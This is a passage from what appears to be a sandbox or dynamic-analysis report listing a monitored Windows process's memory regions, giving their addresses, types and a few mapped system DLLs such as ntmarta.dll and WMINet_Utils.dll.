entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1935 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1936 start_va = 0x1b4e0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 1937 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1938 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1939 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1940 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1941 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1942 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1943 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1944 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1945 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1946 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1947 start_va = 0x1b4b0000 end_va = 0x1b4b4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b4b0000" filename = "" Region: id = 1948 start_va = 0x1b4c0000 end_va = 0x1b4c8fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b4c0000" filename = "" Region: id = 1949 start_va = 0x7ffaa2d90000 end_va = 0x7ffaa2d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2d90000" filename = "" Region: id = 1950 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1951 start_va = 0x1b4e0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 1952 start_va = 0x1b4f0000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 1953 start_va = 0x1b500000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b500000" filename = "" Region: id = 1954 start_va = 0x7ffaa2da0000 end_va = 0x7ffaa2daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2da0000" filename = "" Region: id = 1955 start_va = 0x1b4d0000 end_va = 0x1b4d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b4d0000" filename = "" Region: id = 1956 start_va = 0x1b4e0000 end_va = 0x1b4e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b4e0000" filename = "" Region: id = 1957 start_va = 0x1b4f0000 end_va = 0x1b4f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b4f0000" filename = "" Region: id = 1958 start_va = 0x1b500000 end_va = 0x1b501fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b500000" filename = "" Region: id = 1959 start_va = 0x1ba90000 end_va = 0x1bb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 1960 start_va = 0x1b520000 end_va = 0x1b525fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b520000" filename = "" Region: id = 1961 start_va = 0x7ffaa2db0000 end_va = 0x7ffaa2dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2db0000" filename = "" Region: id = 1962 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1963 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 1964 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 1965 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 1966 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1967 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1968 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 1969 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 1970 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 1971 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1972 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1973 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 1974 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 1975 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 1976 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 1977 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 1978 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 1979 start_va = 0x1b5a0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 1980 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 1981 start_va = 0x1b5c0000 end_va = 0x1b5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 1982 start_va = 0x1b5d0000 end_va = 0x1b5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5d0000" filename = "" Region: id = 1983 start_va = 0x1b5e0000 end_va = 0x1b5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5e0000" filename = "" Region: id = 1984 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1985 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 1986 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 1987 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 1988 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 1989 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1990 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1991 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 1992 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1993 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1994 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 1995 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 1996 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1997 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 1998 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 1999 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2000 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2001 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2002 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2003 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2004 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2005 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 2006 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2007 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2008 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2009 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2010 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2011 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2012 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2013 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2014 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2015 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2016 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 2017 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2018 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2019 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2020 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2021 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2022 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2023 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2024 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 2025 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2026 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2027 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2028 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2029 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2030 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 2031 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2032 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2033 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2034 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2035 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2036 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2037 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2038 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2039 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2040 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2041 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2042 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2043 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2044 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 2045 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2046 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2047 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2048 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2049 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2050 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2051 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2052 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2053 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2054 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2055 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2056 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 2057 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2058 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2059 start_va = 0x1b530000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2060 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2061 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2062 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2063 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2064 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2065 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2066 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2067 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2068 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2069 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2070 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2071 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2072 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2073 start_va = 0x1b5a0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 2074 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 2075 start_va = 0x1b5c0000 end_va = 0x1b5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 2076 start_va = 0x1b5d0000 end_va = 0x1b5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5d0000" filename = "" Region: id = 2077 start_va = 0x1b5e0000 end_va = 0x1b5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5e0000" filename = "" Region: id = 2078 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2079 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2080 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2081 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2082 start_va = 0x1b5a0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 2083 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2084 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2085 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2086 start_va = 0x7ffb1bcc0000 end_va = 0x7ffb1bcf0fff monitored = 0 entry_point = 0x7ffb1bcc7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2087 start_va = 0x7ffb09ac0000 end_va = 0x7ffb09b5bfff monitored = 0 entry_point = 0x7ffb09b196a0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\System32\\efswrt.dll" (normalized: "c:\\windows\\system32\\efswrt.dll") Region: id = 2088 start_va = 0x7ffb188e0000 end_va = 0x7ffb18a15fff monitored = 0 entry_point = 0x7ffb1890f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 2089 start_va = 0x7ffb110e0000 end_va = 0x7ffb1112ffff monitored = 0 entry_point = 0x7ffb110e2580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 2090 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2091 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2092 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2093 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2094 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2095 start_va = 0x1b5a0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 2096 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 2097 start_va = 0x1b5c0000 end_va = 0x1b5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 2098 start_va = 0x1b5d0000 end_va = 0x1b5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5d0000" filename = "" Region: id = 2099 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2100 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2101 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2102 start_va = 0x7ffb13d10000 end_va = 0x7ffb13d1cfff monitored = 1 entry_point = 0x7ffb13d14e90 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll") Region: id = 2103 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2104 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2105 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2106 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2107 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2108 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2109 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2110 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2111 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2112 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2113 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2114 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2115 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2116 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2117 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2118 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2119 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2120 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2121 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2122 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2123 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2124 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2125 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2126 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 